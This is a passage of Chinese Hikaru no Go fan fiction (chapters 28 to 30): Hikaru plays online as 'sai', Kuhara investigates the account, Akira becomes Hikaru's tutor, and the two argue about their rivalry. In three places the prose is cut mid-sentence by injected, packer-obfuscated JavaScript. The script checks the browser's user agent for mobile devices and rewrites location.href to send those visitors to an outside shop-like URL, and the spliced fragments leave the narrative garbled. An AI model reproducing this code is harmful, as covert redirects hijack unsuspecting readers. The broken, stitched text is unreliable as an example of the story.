这一次,光熟练地在电脑前操作,亲自回复了句“我是网络上的围棋幽灵”。还加了个颜文字表情。 这跨越时代的互联网流行文化鸿沟看得和谷一呆。 围棋幽灵?什么意思? ……后面这个奇怪的像人趴在地上的符号又是什么东西? “啊!” 但等到和谷再次尝试追问时,对方的账号却变灰了。 这家伙!居然放出悬念就下线!性格真糟糕! 其实单纯只是进藤光到了不得不回家的时间、被迫关机了。他只有500日元,本来就只能坐一小时,晚上还得回家吃饭,不像暑假有大把时间在这边消磨。 sai的突然下线就像无情的渣男抛弃了初恋女友一样,这股奇妙的吸引力让和谷越想越来劲,明明只是一局,只是一局而已,就给他留下了很深刻的印象。他怎么都忘不掉这奇怪的名字。 sai…… 他明天还会来吗?要是再上线,一定要再和他下一盘!想到这里,和谷才发现杯子里的泡面都变软了。 “可恶!软掉的泡面还能算是泡面吗?好想知道他是谁!!哇啊啊啊——” 很可惜,在可以预见的一段时间内,他都无法得知这件事的真相了。 唯一捕捉到真相的影子的人,却潜伏在另一个地方。 默默地守株待兔。 连续一周,进藤光每天放学后,都会用当日限定的宝贵500日元零花钱,在三谷姐姐打工的网络咖啡厅进行1小时sai的围棋传道时间。这上线的时间过于有规律,到了第三天,这个观战者就提前猜到了sai会在何时冒出来。 没错,这位蹲点追星的网上冲浪达人,正是棋坛最强八卦战神——久原木子郎。 “这棋风……” 自诩最擅长看棋的久原木子郎蹲在电脑椅上,全神贯注地盯着屏幕。 自从上周末临时在中学围棋联赛中顶替主将出战后,他再次捡起了下棋的爱好,也由不得他,那时自己展现出来的远超一般人的棋力,令围棋部众人都高呼“为啥这么强的家伙要在宣传组坐冷板凳”,对手们也一个接一个地冒出来要求和他对弈。 拒绝一次两次还好说,每天只要去社团,就100%会收到邀请,再拒绝下去他就要直接退部了——被逼无奈的久原只能答应偶尔和他们下下让子棋,帮佐和良中学的下一届比赛做选手培训。结果就一发不可收拾了。 嘴上说着“没天分做职业所以放弃”的他,回家之后却在偷偷上网看别人下棋。 一定是因为进藤光那小子对他发表了那段热血沸腾的宣言吧?对,都怪他,不是自己的错。 不过,这几天在网上能歪打正着遇到这么个厉害的家伙,也是运气真好啊! sai,一听就是日本人,国籍也标注着日本,但他没在院生朋友里听说有这个叫名字的,日本棋院官网能查到的职业棋手里也没有,以这个sai的实力,他还以为一定会是职业呢。 “嗯……我怎么觉得……这棋风……有点既视感?” 久原越看眼睛眯得越窄,都快趴在屏幕上了。 第一天他还只当这是个普通的、棋下得不错的网友,但连看了三天,棋感高度敏锐的久原心中不由自主冒出了一个大胆的想法。 不知道是不是他的错觉,他总以为下棋的这个人,就是进藤光。 刚刚那一手,就很像上周末他们对弈时进藤光使出的其中一手。 但是!进藤光说过他要去做院生了,院生也会在网上下棋吗? 而且这个胜率…… 虽然三天就下了六局,但也赢了六局,而且六局的水平都不差。sai似乎会故意主动挑选对手,胜率太低的他都看不上,只选那些胜率高、对局数多的人,大概也对自己的实力很有信心吧。 “让我来看看你的历史记录吧。”私生饭久原“嘿嘿”一笑,带着邪魅狂狷的眼神,点开了sai账号的对局列表,作为互联网冲浪达人,他只要想点办法就能搜刮到sai之前的所有棋谱,不仅是每局对手的id,连下棋的每一步都可以复现,“本人,天才围棋解剖医,久原木子郎!现在就让你原形毕露——” “阿——嚏!” 被念到名字的光打了个惊天动地的大喷嚏。 他移动鼠标的手也随之一抖,还好对局正巧结束,不会影响战局。 光看了看背后的紫发幽灵,我们的佐为不仅没有思考疲劳的表现,还越战越勇,比光还要精神抖擞,只怕是永远不会有下腻的一天。 “还要下吗?佐为?” 佐为刚想点头,突然想起什么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13274237|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得的事情,连忙提醒饥渴的光:“等等,小光你和塔矢约好今天会去围棋会所对弈的,已经快迟到了吧?” 光一拍脑门。 “还真是,谢谢你佐为,我忘干净了!塔矢搞不好会杀了我!” 佐为迷茫思索:塔矢亮看上去是个脾气很好的孩子啊,为什么小光总要这样说呢? 他不知道上辈子光与亮你死我活的死敌状态,也没见识过塔矢亮冰山爆发的黑化迹象,在佐为心里,塔矢亮是个非常可爱的孩子,也是一个非常有潜力的棋士,仅此而已。 光收拾好自己的背包,结算完一小时的费用,一转眼钱包便已空空如也,如今连电车都没钱坐了。 “看来只能用脚走了啊。” “对不起,小光……” 佐为歉疚的目光让光觉得钻心剜骨般的疼痛,重新浮现在脑海的恐惧一时挥之不去,光的反应非常剧烈:“不是你的错!” “啊,诶,对不起——”佐为手忙脚乱地更正,却更加弄巧成拙。 “所以佐为你干嘛道歉啊!都说了不是你的错……”光意识到自己的语气太凶,好不容易调整回轻松的样子,缓和口吻道,“佐为,不要随便露出那样的表情……你没有对不起我,是我自己突发奇想走进去的!记住了吗?” 怔住的佐为却不敢追问,只轻轻点头。 怕是现在追问也没有意义,不如等他平静下来以后再问吧。 光亦不愿多做停留,快步离开原地,奔向塔矢家的围棋会所。 彼时。 市河晴美在闲暇的时候总喜欢做一些小点心,做完之后常常带来围棋会所给她的朋友们品尝,所以北岛先生搬家之后仍然每天跑来这里蹭吃蹭喝,人们笑称围棋会所都是托了市河小姐的福才会那样生意兴隆。 “才不是呢,大家明明都是来看亮君的,呐,对不对,亮君?” 市河本人却不以为然,她来会所的最主要动力是塔矢亮,其他的都无所谓。 “市河小姐……”亮只能不好意思地笑笑,“您说得也太夸张了吧。” 说罢,装作漫不经心地朝门口瞟了一眼。 市河自然不会没有察觉到他的小动作,笑着说:“不急,进藤说要来就该到了,如果他真的不来,也就说明他不是值得亮君你等待的那个人咯。” 亮也被她温柔的笑感染,拿起桌上的水杯:“不好意思,总是麻烦你给他免费。” “这点小事!简单简单!”市河不但没有生气还挺开心,“我是亮君最忠诚的粉丝啊。” 他们正聊到劲头上,会所的自动门突然打开,光冒冒失失地闯了进来,满头大汗:“哟,塔矢!啊,还有市河小姐,晚上好。” 市河转向亮,笑得更灿烂:“喏,我说对了吧。” 佐为一来这里就已经兴奋地大叫着去看其他人的对局了,光也没有再担心他,径直走到亮对面的座位前,拉开椅背。 “进藤君,要喝点什么吗?”市河想起了她的本职工作。 “我没钱了,刚刚连电车都没得坐,靠脚跑过来的。真是累死我了啊!”光一屁股倒在座位上,唉声叹气。 “行啦,看在你是亮君朋友的份上,今天我请客。”市河笑眯眯地解释,“我从来没见过亮君这样期待和一个人见面呢。” 纵使是趋近面瘫的亮也不禁有点脸红:“市河小姐您说得太奇怪了……” 亮的笑容对市河来说是致命糖衣炮弹,她欢喜地揉着脸颊:“没办法,是亮君太可爱了啦!” “快猜子吧,塔矢!”光催促道。 尽管每次都是进藤光获得胜利,他却从不给塔矢亮让子,连让先都是极少。北岛先生起先以为光是刻意想要捉弄亮,气急败坏地说过他好几次,亮却明白这是一种极高程度的认可,只说让北岛先生安心,他迟早有一天会赢回来。 尤其是与光做出约定的现在。他更没有一直输下去的理由。 “我是黑棋。请多指教。”亮弯腰的角度都分毫不马虎,完全是在以对待师长的态度对待光。 “请多指教。”光见状,也认认真真地回礼,他可不想变成亮的前辈。 亮的黑棋第一手落在目外,光依旧应以惯用的小目,随后亮又是一手目外,光略一沉吟,便又回以小目。随后亮小飞挂角,如此若干,局势不相上下,一直到途中亮的一手挂成为坏棋。 可想而知,一步错步步错,黑棋无法找回实空平衡,尽力弥补却仍然无太大收获的亮只能遗憾中盘认负。 “我输了。” “承让。” 严肃的部分只到这里,马上光便露出大笑脸:“塔矢,你今天下得太臭了!” “没有的事,只是开始的时候那手挂下得不太合适……” 亮摆弄着棋盘上的白子。实力处于弱势,求胜之心却绝不能落于下风,这是成功者的法则。 “岂止是不合适!根本就是胡来嘛!” “哦?那你倒是说说,这里用什么策略更好?” “比如这样……” “我看也是半斤八两吧。” “你这个家伙!什么时候能坦率一点!不过,后面的追杀确实让我流了一身冷汗啊。要不是那手挂,或许今天你还真有希望赢我呢!可惜还是差了那么一点点~” 光淘气地做了个鬼脸。 佐为怎么会不知道这就是两个白痴互相激励的方式,看着他们之间冒出的阵阵电火花,他内心某处期待着对手的心情更加强烈。 就这样,终于熬到了周五出成绩的那天清晨。 ●○●○ 29.Chapter 28. 家庭教师小亮 审判即将来临。进藤光漫不经心地摆弄着桌上的存钱罐。太可悲了,小时候的自己怎么一点耐心都没有,每次攒下来的硬币都很快就用光,一点余粮都不剩,简直空空如也啊! 身旁的佐为倒是一直安静地研究着地上的报纸,那上面刊登了塔矢行洋最新的棋局。他可以盯着棋谱看一上午。 “你在做什么,小光?向神祈愿吗?”正默默幻想棋盘上的塔矢行洋会怎样思考的佐为突然回头。 “我在思考怎么才能摆脱赤贫。” 光放下存钱罐,打了个哈欠,一脸困倦。 也难怪,像他那般高强度作业地下棋,换成任何人都会受不了,关键在于他不得不一个人下两个人的份,时间就是双倍。每天只有上课是唯一的补觉时机,他却怕成绩下降、不敢睡太过分,放学后还要下网棋,下完网棋快马加鞭回去吃饭,吃完饭又去会所找塔矢亮,回家再忍着困意写作业,睡前不忘和佐为对弈一局……节奏压缩得比当红明星还夸张。 被榨干的不仅是钱包,也是精力槽啊。 佐为担心地飘过来:“你是不是累坏了?今晚我们别下棋了吧,你需要好好休息。” “哎呀没事的,佐为不需要担心。” 一听到佐为说不下棋,光马上故作轻松地安慰自家幽灵。他愿意陪他下棋,是因为上辈子的亏欠,就算再累再苦也心甘情愿。 毕竟这辈子是来之不易的补偿佐为的机会啊…… “小光!明明来了!”进藤美津子一边刷碗一边呼唤着自家儿子的名字,“该去上学了!” 这时进藤光才慢吞吞地把地上的报纸收拾起来,临走前还细心地在佐为没看完的地方折了个标记,方便他回来继续阅读。 门外正是阳光灿烂的好天气,空气里依稀可寻的湿意让光记起了昨日那场久违的雨,还有佐为对伞的又一次感慨。想到这里,他忍俊不禁地笑了起来。 “小光,你干嘛笑得那么开心?”藤崎明见到他的笑颜,自然发问。 光“嗯”了一阵,才将书包高高举过头顶道:“因为,又到周末了,可以好好下几盘棋了。” “你也真是的,就知道下棋下棋,连大助的生日派对都没参加。”走在旁边的藤崎明有些担心地看着光欢快的背影,“而且还熬夜到上课打瞌睡,被老师罚写检查……” “没关系啦,反正我以后要做职业棋士的。” “小光!你要认真一点!” “你怎么这么像我妈啊……放心,这次考试放榜你就瞧着吧,绝对给你展现一个惊天大逆转!” 20分钟后,教学楼张贴排名榜单的走廊前,白纸黑字写着本次考试的最终成绩。 噔。 噔。 噔。 进藤光,首次僵化。 “为啥偏偏是第51名啊啊啊啊啊啊啊啊——?!” 光的咆哮声穿透教室,穿透操场,穿透校门,穿透路人的鼓膜,最后穿透了紫水围棋会所的墙壁,让远在前台的市河晴美都下意识捂住了耳朵。 定睛一看,这孩子一脸生无可恋地趴在桌上,手臂弯折成奇怪的形状,脸朝上,用死人般的表情瞪着前来观察情况的塔矢亮。 “完蛋了。我可能暂时没法来会所找你了,塔矢……” 就差一名……就差一名妈妈就愿意放他去棋院了……这下免不了又要再拉锯战一番……明明他想尽快进入职业的世界的……塔矢行洋的推荐信也不能拖到几个月以后…… 见他如此痛苦,亮露出了温和的笑容:“就为这点事?你不用担心,让我给阿姨打个电话吧。” “啊?”光愣住了。 说时迟那时快,只见洞悉中年女性弱点的小塔矢亮单手抓起听筒,拨通了进藤家的座机电话,面带迎接客人的标准礼仪式微笑,甚至连对面看不到他的脸、他都不忘同时低头鞠躬,用格外清亮而乖巧的语气,开启了一段殿堂催眠级对话: “阿姨好!我叫塔矢亮。是的,我是进藤君的朋友,四月起就要去海王就读了,对,就是那个海王中学。我会负起责任辅导进藤君的课后学习,请阿姨放心。” 然后是愈加扬起的音调。 “嗯!院生不会占用太多时间,只管交给我吧,别看我这样,还很擅长教人呢。” 对面似乎传来了美津子夸奖他的声音。亮又接着说。 “不必客气的阿姨,我们是朋友,这是应该的。嗯,再见,祝您晚安。” 咔哒,电话挂断。 整个过程讲究的就是一个行云流水一气呵成。 光的脸上出现了比方才更加惊愕的神情。 “……你……要当我的家教?” 一种不妙的预感在心中萌生。 仿佛印证他的猜想般,亮嘴角的笑意更甚了。 “没错。以后在复盘之余,我会给你讲解应试要点知识。”他顺手拿起桌上的习题册,翻开第一页,第二页,口吻里的欢乐都快隐藏不住了,“简直一塌糊涂啊,基础知识、应用能力、逻辑思维,全都惨不忍睹。进藤你的才能全部点在围棋上了吗。” 这、个、家、伙!怎么突然变得这么毒舌了? 还是说,他一直在暗自不爽在棋盘上被进藤光连续压制,所以好不容易找到一个能反过来压制的进藤光的领域,就露出了真面目?! 光一把盖住自己劣迹斑斑的作业本:“不行吗?!我又不像塔矢你这么聪明!还仗着自己可爱就为所欲为!” 亮忽然压低了声音,原本清秀的脸部线条也在光线变化下藏入阴影之中。 “在我讲解的时候,你要称呼我为‘塔矢老师’。” “你少给我得寸进尺——” 看到光复杂的表情,亮不禁心情大好。这么多次以来他还是第一次在与进藤光的对抗中大获全胜,可见之前每次被光的幼稚鬼发言气到闭麦的幼年塔矢亮是多么的怨念深重。偶尔孩子气一次,没想到感觉如此舒畅呢。——这也是你教给我的反击策略啊,进藤光。 亮笑意盈盈。 于是接下来的一个小时,从进藤光最期待的美好时光变成了最折磨的恐怖时光。手握书本的塔矢亮比拿着棋子还叫人害怕,因为从他口中接连不断冒出的专业名词和推演公式让光的脑子一刻也无法歇息。 就算亮是个优秀的家庭教师,就算他真的在用“进藤光也听得懂”的方式去讲解,也改变不了这堪比棋盘搏杀的知识输入速度带来的大脑过载。 他坟头都要冒烟了! 光彻底瘫坐在会所在椅子上,双眼无神,显然已经快不行了。 “饶了我吧……” “你是不是忘了加上称呼呢,进藤同学?” “饶了我吧!塔、矢、老、师!” 这阵势,给隔壁的市河都看笑了。她是头一次见这么爱闹腾的小亮,或许真是进藤光改变了他吧,这样的小亮,看上去更像一个活生生的人了。 与初次解锁奇妙搭配关系的两人不同,坐在另一侧对弈的广濑和北岛还在边落子边轻松地聊着闲话。 “……对了,广濑先生,你试过在网上下棋吗?” “没有。但我听说有别的棋士这样尝试过。” “那真可惜,有机会一定要试试。说到这个网上下棋,最近有个神秘的家伙好像很厉害呢。” 听到这里,光用余光看向佐为,暗自憋笑。佐为似乎也明白了这是在说自己,连忙有些害羞地摆了摆手。“也没有那么厉害啦~哈哈……” “哦?是那个人吗?我关注了一个前院生写的博客,里面有提到。” 广濑大叔这句话让原本再也无力站起来的进藤光“噌”地恢复了血条,一下闪现在二人身后,充满好奇地加入了讨论:“博客?什么博客?让我也看看!” “进藤?你也对这个感兴趣啊,博客的名字好像叫kuhara_go_world……好像是这么拼的吧?” 在广濑诧异的目光下,进藤光借了前台的电脑,那本来是市河晴美用来统计每日账单的地方,被他这么突然挤进去,市河有些嫌弃地抱怨了几句,但光道了歉,注意力马上全部集中在电脑屏幕上去了。 这一看可把他吓一跳,好家伙,这文章名和作者名都直接让他险些魂魄遁走! 只见那标题赫然写着:《网络上的神秘棋手sai:当代秀策,百变怪才?/久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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真可疑。在心里这样嘀咕了一句的亮并未追问。他抬头看了一眼挂钟,确实也是时候了。 两人一起乘坐地铁抵达了塔矢家。顺带一提,电车费是塔矢亮支援的。不管来几次,光都会被这所东京城区地价如金的地盘上面积巨大的宅子吓到,依山傍水,纯正和风,绿意环绕,古朴精致,如此豪门贵宅,怕是虎次郎的时代也只有大名才能住得起。 不过,今天棋室里显然比上次同塔矢行洋对弈时多了更多人。清一色都是19到30岁的年轻男性。他们规规矩矩正坐在棋盘周围,低头的角度出奇的一致,从身心两方面都与棋盘前的塔矢行洋保持着距离。 塔矢门下的弟子原来这么多啊……上次看到的只是冰山一角吗? 不好,突然紧张起来了。 光一边感叹着,一边和亮一起在最外层轻轻坐下。围棋的世界也是讲究论资排辈的,越传统的文化,阶级感越严重,即便亮是塔矢行洋的儿子,也需要坐在比较边缘的区域,因为他当前的棋力在这群人中并非佼佼。 没想到,光的屁股刚一沾地,就有人主动对他招手了。 “你就是进藤君?往前来一点吧。” “是的,我就是进藤光。”光恭敬而不失傲气地点点头,“从今天起承蒙大家关照了。不过,我坐这里就行。” 光在用词方面也注意了很多,没有粗鲁地说“俺”,而是换成了文雅的“僕”。他为围棋改变了许许多多的习惯,包括礼貌,也有了长足的进步。 那名招呼他往前坐的棋手年纪偏大,似乎是这群人中资历仅次于绪方精次的前辈。他提出这个建议,多半是因为光曾与塔矢行洋让先对弈、却只输了3目,远超在场多数人的水平,这也是在变相认可光的实力。 但光不喜欢这样。棋盘前人人平等,如果无段的塔矢亮必须坐在门边,那他也要陪他一起。 见进藤光婉拒,那人也不再坚持。 简单寒暄到此为止。端坐棋盘一侧的塔矢行洋发话了:“大家都看过你的棋谱了,你果然是个可塑之才。我们直接开始讨论吧。” “是……是!” 光紧张地压低了肩膀,拼命抬起下巴。上辈子他跟着好兄弟和谷混进了森下茂男九段的研究会,在外界看来早就划进了森下门下一派,而森下门下与塔矢行洋门下是不折不扣的死敌,说两句话都火药味十足。如今自己却刷新简历、摇身一变塔矢门下弟子——他脑海里自动浮现出森下九段怒气冲天的“你这个叛徒!”的表情。 森下老师,请原谅我—— ●○●○ 30.Chapter 29. 我的师父是藤原佐为 对局检讨开始了。再次看到这两周前自己与佐为共同下出的棋局,光又有了些不同的感受。 果然还是一局好棋,但能改进的地方也很多。 研究会就是自由发言的场所。塔矢行洋近在眼前,怎么能不在抓紧时间询问对方的看法,每一局反馈都能叫他受益匪浅。 他既要总结自己的见解,又要转达佐为的意见,一个人说两份台词,加上这又是他自己的棋谱,想谈论棋手的意图格外简单,一时之间,进藤光整个人都显得异常健谈。 “原来如此!是因为我习惯后半局翻盘了,这里领先的时候反而患得患失起来,要是这里选择轻吊,而不是肩冲的话,后面也就不会轻易脱先了。嗯,连扳这块是我太着急了点,明明有机会把优势变成胜势的。还是塔矢老师厉害,不紧不慢就把我的领先削掉,最后我就不可能毫无代价地杀掉左边的白棋了,形势完全逆转啊。” 明明房间里这么多号人,硬是他一个人在独领风骚。 讨论到一半,绪方又一次被进藤光条理清晰的思维和敏锐的洞察力惊到了。他忍不住问: “我还是不敢相信……你这样的实力,真的没有指导老师吗?” “指导老师?” 光不好意思地挠了挠后脑勺,在他心中浮现了一个想法,忽然,他产生了极强的将其付诸行动的欲望。下一刻,那句话已经不受控制地说出了口。 “……也算有吧。我的老师叫藤原佐为,但是他并没有做职业棋士,所以大家从没听说过他。” “藤原……佐为?” 确实是个陌生的名字。而且,姓氏与名之间加入“no”的介词的称呼方式,只存在于古朴的平安时代。 在众人讶异的目光中,光依然嘴角带着微笑。 因为那是他最最自豪的幽灵友人的名字。 佐为闻言,竟浑身一颤。 “小光……” “哈哈,怎么样,我可是直接承认你是我师父了哦,以后你可要好好教我才行啊!”光嘴角的狡黠笑意更深了。 连佐为自己都不知道该如何形容此刻的心情。 他的存在,只有被附身的一人能够感知。平安时代他怀抱冤屈而死,后世不可能记得他的名字;借虎次郎之手下棋时,别人也都以为下棋的是虎次郎;只有小光……第一次将他的名字告诉了其他人。 在网络上,他是绝无敌手的sai。 在现实里,他是进藤光引以为傲的师父。 刹那间,光的笑容与虎次郎和蔼的目光重合了。但是从光的一举一动之中,他又看到了更多难以言说的情感。光是那么的深爱着围棋,也深深信赖着、依赖着自己,因此不愿让佐为之名彻底消失在历史的洪流深处。 百年前旧因岛的某个庭院,漫天的星光由着叶的缝隙钻进少年和幽魂并肩而立的世界,然后佐为对自己说—— 没关系的,我想下棋,虎次郎也愿意帮我下棋……这已经足够了。 虎次郎眼中没有那么多的哀愁或是喜悦,自始至终,他都是一副淡淡的样子,会温柔地问起佐为关于千年前如的故往事,会认认真真地请教佐为围棋上的问题,但是却从来没有说过想要自己下棋这样的话。 佐为实在是太爱围棋了,爱到不愿意去假想虎次郎也会和他一样想要下棋的可能性。 世间最高深莫测的咒术是谎言。 而谎言之中最可怕的,又是欺骗自己的谎言。 他感觉到,在光身边的一切,也许将和陪伴在虎次郎身旁的一切有天壤之别。 然后佐为露出一抹温馨如月的微笑,信誓旦旦地说:“当然!我一定会把小光教成天底下最优秀的棋士!” “哈哈,约定一许下就不准耍赖哦,不过我觉得这个目标实在是远大了点……” 光未察觉到佐为的异样,只平静地转向塔矢行洋。 棋士,不仅仅需要天赋,更需要潜心研究和感悟的汗水,然而如塔矢行洋这般天赋勤奋俱佳的人,也花了近40年漫长的岁月才达到今日的实力境界。 就算这个男孩再有才能,就算塔矢行洋再放水,能下出这样激烈的厮杀之局并且差一点取得胜利,也是件难以想象的事。 一贯只会用理性思考的绪方精次有些困惑,同时也对进藤光产生了巨大的怀疑。 先他一步,其他的职业棋手们纷纷凑上前来,围着进藤光问个不停。 “进藤君,那你怎么看老师的这一手?” “哦哦哦,确实是妙招呢,进藤!你刚刚说的那种路子好像也不错诶。” “嗯……芦原的选择是可以接受啦,但我倒是觉得进藤的选择更有意思。可以顾及长远的布局。” “就连老师都未必能一眼看出这种路子呢,后生可畏,后生可畏啊。进藤你才12岁吧?这进步速度也太快了,总感觉你比上次见面的时候又成长了不少。” “明年的职业棋坛可有好戏看了。对吧,绪方老师?” “进藤君,我可以叫你小光么?啊,论棋力的话应该叫你‘小光老师’才行。” 芦原已经完全被光的棋力折服了。 棋手的棋力其实应该在多次、与多名对手的重复对弈后才能判断个大概,这也是世界排名计算的规则,只凭一两次胜利,进藤光还不至于被他们都视为威胁,但今天他在这么多大人齐聚的严肃场合也能侃侃而谈,这让19岁的芦原感受到了自己的短板。面对塔矢老师时,他总会怯场,拿棋子的手都能抖个不停!也不知道进藤光是怎么做到完全不受气势影响的! 在漫长的讨论中,忽然有人问了句。 “……小亮,你觉得呢?” “诶?” 猝不及防被叫到名字,亮有些失神。过去的他一直是塔矢研究会的焦点,高段棋士们乐意聆听他的见解,觉得小小年纪就能有职业水平的他未来一定会是巨大的竞争对手,他时常成为讨论的中心。 可是今天的讨论中,他们一直在说“进藤”、“进藤”、“进藤”,好像进藤……才是房间里最接近父亲的那个人。 这时空的错位让亮心生不安,又为自己内心深处萌生的小小嫉妒而愧疚——他在胡思乱想什么呢,进藤是因为飞速进步的实力才受到瞩目的,这一点,每日坚持和他对弈的自己明明再清楚不过。 “嗯,也许吧。我也同意进藤的观点。”半晌,亮才低声回答。 亮的墨绿色眸子颜色太深,叫人看不清他的真实想法。 光突然感到了某种微妙的不和谐感。对比在围棋会所那个事事较真、一定要反驳他几句的亮,眼前这个略显低眉顺眼、礼貌地对他表示表扬的的亮,反而让他更觉得奇怪。 “喂,你是真这么认为吗?”光不太满意地确认道。 “当然是了。怎么了,进藤?”察觉到空气凝滞的亮正眼望向光的脸,并没有任何多余的动作,“你的脸色很难看。” 佐为也略带疑惑看着光,他在纳闷光为何要露出这样可怕的表情。 就在这时,塔矢行洋已经对今天的研究会做出了最后的总结。 “进藤君,这一局,你下得非常好。” 一贯严肃的塔矢行洋难得说出这样直接的溢美之词。亮有点羡慕地抬起头来。 他上次听见“你下得非常好”这句话的时候,是多久以前呢?几个月前?一年前?还是三年前?父亲并不吝惜对自家儿子的鼓励,但多数情况都是点到即止,含蓄而润物细无声的肯定才是父亲的代名词。但今天,他竟然如此直白地对光说出了这样高层次的赞美。 这话说得光都脸上泛红了,他马上诚恳地摆摆手,又想起什么似的补了个深鞠躬。 “不不不!塔矢老师您谬赞了,今日的复盘,让我更加领略到自身的不足。以后也请继续让我参加你们的讨论吧!” 他没有说假话,今日论棋,他越发看清了自己那几手有多遗憾。在这佐为与塔矢行洋主导的对局里,确确实实有很多很多他需要学习的东西,也让最近下棋顺风顺水的他感觉到了继续前进的紧迫性—— 不能再抱着半吊子的心态过家家了!光必须去寻找进步的可能性,在更加残酷的战场上磨练自己。所以尽快成为院生,尽快踏入职业棋坛,尽快去参加国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297884|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际比赛,与中韩的强者对决,是他势在必得的选择。 “嗯,成而不傲是好事,期待与你的下一次对局。” 说完,塔矢行洋便离开了,绪方等人恋恋不舍地看了一眼棋盘,最后也跟着塔矢行洋走出了房间,他们也还有其他的工作。 于是,房间里只剩下了光和亮两个人。 光皱了皱眉。遮遮掩掩的不是他的风格。他决定问个清楚。 “塔矢,我就直接问了,刚才你为什么不反驳我?简直就像……就像在跟我怄气一样。” 亮出乎他意料停顿了很久,又好像过了更久的时间,才徐徐开口:“没有那回事。复盘时你的观点都没错,为什么要反驳?” 一眼假话。 光有点不开心了。 “虽然佐……咳,虽然我确实很厉害,但就算是我也会有考量不足的地方,棋盘上没有任何一步是完美无缺的,凭什么你就不能反驳了?你肯定有话想说!别以为我发现不了!” 亮淡漠地摇摇头。 “我只是不想把未经深思熟虑的意见全部说出来。比起你们,我的经验尚浅,倾听比发言更重要。” 这叫什么混账逻辑,进藤光忍不住加大了音量:“可是!对手之间,不是应该能畅所欲言吗?在围棋会所你可以心直口快,在塔矢名人面前就不行?你顾虑这么多,哪里还能跟我一起进步?这样算什么对手?” 闻言,亮的眼睛里猛地燃起了复杂的光芒。 “对手?你真的,有把我当做对手吗?” 他这句反问让光顿时有点吃惊。 “啊?那、那还用说,你白痴啊塔矢亮?!”光无奈地拍着自己的额头,逐渐烦躁起来,“要不是这样,我为什么要每晚每晚去找你下棋?我施虐狂啊?” “不……今天父亲分析过后我又一次认识到,进藤,你的棋,下得实在太好了。” 亮就那样看着他,平静的压抑着自己的声调。 “越是和你对弈,我越能感觉到这一点。你的棋,下得实在太好了。而对手,应当是实力对等的人才名正言顺吧。” 说话间,亮握紧了拳头,死死地盯着前方。 “我当然想超越你,你是我的目标,也是我的朋友。但我实在不认为现在的我称得上你的对手。从第一次对弈的时候我就注意到了,注意到你堪称恐怖的强大。每次,每次我以为我逼近了一点,就发现你已经去了更远的地方,差距竟然只增不减。” “塔矢……” 光一时语塞。 这家伙,为什么总爱多想。 “我也在迟疑,到底应该怎样才能追上你。”亮的声音终于还是激动了起来,“一次又一次,花费所有的时间绞尽脑汁想出以前的我根本无法想象的棋路,想着这样总该可以与你一战——但是每一次,我都没有办法逃出你的阴影,我从来没有赢过你,一次都没有,甚至连你的棋路都完全捕捉不到。这样无力的感觉……” “这样的感觉也是人之常情吧!” 光打断了亮,他一把按住亮的双肩,逼迫亮直视自己。 那双闪耀着光芒的眼睛,没有退缩,没有恐惧,但也没有他所期待的自信——明明那目中无人的塔矢亮,才是他认识的塔矢亮啊。 佐为有些惊讶地叫出声来:“小光?” 亮错愕地看着他,在两人目光相交的瞬间之后却挪开了视线。 敢情这家伙过去两周的乐观向上都是在演戏吗? 被无奈和怒火双重点燃,光的话语愈加咄咄逼人:“我不会等你,所以你觉得追不上我,那是很正常的事!但那只是幻觉,不是现实!我之所以进步得更快更强,是为了让你也进步得更快更强!因为只有我打破他们认为的上限,你才更有理由超越我!不管他们怎么说,在我心中,塔矢亮就是最有资格当我对手的围棋天才!” 他说……围棋天才? 他曾认为他是天才。 今天他却说他是天才。 光的眼神灼热而刺目,面对这样的他,亮有种芒刺在背的疼痛感,无法挣脱他的钳制。 ●○●○ 31.Chapter 30. sai vs 塔矢亮 我们是永远的对手,不许逃避—— 明明他没有这样直接说出来,亮却清清楚楚地感觉到了。进藤光就是在对他全力说着这句话。 亮已经受到了震动,但他轻声叹了口气。 “进藤……说实话,我不懂你为什么选我做对手。论实力,你应该对父亲和绪方先生更感兴趣。” 这话说的……光也叹了口气,他怎么就招惹了这么个麻烦的朋友。上辈子sai和光的棋力差距太大让亮觉得自己被骗、一路对光各种冷暴力,这辈子又被打击得接连陷入自我怀疑? 当然,即使光什么也不做,塔矢亮早晚也能凭自己的傲气重新建立起斗志、并朝着光奋起直追吧,对这一点他很有信心。但是,他重活一世,又不是为了再制造一个极端偏激的混蛋,而是想好好珍惜这个命中注定的对手。 想到这里,光只能认命地揉了揉头发。 “唉,我知道你为什么闹别扭。毕竟在我下赢你之前,你就是天才的标准嘛。没人比你更小、却拥有更强的棋力,你就是上限,是打不破的上限,为此许多小孩都沮丧、失望、甚至从此放弃了围棋,只因为他们觉得追不上你、就一文不值。” 光的脑海中自然浮现出了加贺和久原的脸。 亮有些错愕,他没想到对方会这样形容自己。 “没这回事。” “有这回事!只是你自己处在标准之上,发现不了而已!现在换成是我刷新了这个标准,就轮到你开始怀疑自己了?像那些曾经被你击败的对手一样?” 亮的眸子暗了又亮,语气依旧坚定:“我并未放弃。我只是,想追上去之后,再以你的对手自居。” “你还是不明白嘛……” 